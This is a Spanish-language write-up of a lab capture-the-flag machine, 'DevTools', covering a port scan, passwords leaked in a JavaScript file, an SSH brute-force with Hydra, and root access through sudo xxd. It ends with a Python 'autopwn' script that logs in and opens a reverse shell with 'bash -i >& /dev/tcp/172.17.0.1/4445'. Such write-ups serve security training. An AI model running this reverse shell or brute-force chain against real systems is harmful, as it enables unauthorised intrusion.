> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/devtools-write-up.md).

# DevTools write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/QiFJenDWFPhxnDOlZSz1" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/psjwhwyOvtX8yowzzuyp" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 22 (SSH) y 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador y nos aparece lo siguiente:

<figure><img src="/files/Bap2ZbBhlnWKiuxrZtiI" alt=""><figcaption></figcaption></figure>

Observamos que pide una contraseña, pero si ingresamos una incorrecta nos dejará leer el código fuente presionando `Ctrl + U`, e el código fuente contemplamos lo siguiente:

<figure><img src="/files/eFyFu7Ok17HHbMKuuBy8" alt=""><figcaption></figcaption></figure>

Si hacemos clic en `backupp.js` encontramos la siguiente función:

<figure><img src="/files/lGwUCe37dG8zdhcKUb7S" alt=""><figcaption></figcaption></figure>

Aquí dos posibles contraseñas para el servicio SSH `chocolate` y `baluleroh`. Así que realizaremos un ataque de fuerza bruta con **Hydra** ejecutando el siguiente comando:

<figure><img src="/files/G7VwGqzAT91eoFf8gN8c" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña `baluleroh` le pertenece al usuario `carlos`. Así que utilizamos esas credenciales para iniciaremos sesión.

## **Escalada de privilegios**

Una vez dentro de la máquina víctima ejecutamos el comando `sudo -l`, el cual indica que podemos ejecutar el binario `/usr/bin/xxd` como cualquier usuario.

<figure><img src="/files/jNlrOCfPW3VSeDcQVfut" alt=""><figcaption></figcaption></figure>

Además encontramos la nota `/home/carlos/nota.txt` la cual revela que dentro de la carpeta `/root` existe un archivo `.bak`.

<figure><img src="/files/V8mMA0pWZ4SPqyx7EZJM" alt=""><figcaption></figcaption></figure>

Así que usaremos el binario `usr/bin/xxd` para leer el archivo con el siguiente comando:

```bash
sudo xxd /root/data.bak | xxd -r
```

<figure><img src="/files/DBk1Lf6O1w0U0rTf9iaF" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña del usuario `root` es `balulerito`.

<figure><img src="/files/GMVbgD7ivIHmv3CKiA8E" alt=""><figcaption></figcaption></figure>

## **Autopwn**

```python
import os
import time
import subprocess



def crear_script_expect():

    print("[+] Creando script.exp...")
    
    contenido = """#!/usr/bin/expect
spawn zsh
expect "$ "
send "ssh carlos@172.17.0.2\r"
expect "Password: "
sleep 1
send "baluleroh\r"
sleep 1
expect "$ "
send "su\r"
sleep 1
expect "Password: "
send "balulerito\r"
sleep 1
expect "# "
send "bash -i >& /dev/tcp/172.17.0.1/4445 0>&1\r"
interact
"""

    with open("script.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script.exp")

def iniciar_escucha():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script.exp"])

    time.sleep(0.1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

    

def main():

    crear_script_expect()

    iniciar_escucha()

    time.sleep(1)

    os.system("nc -nlvvp 4445")

    os.system("rm script.exp")


if __name__ == "__main__":
    main() 
```
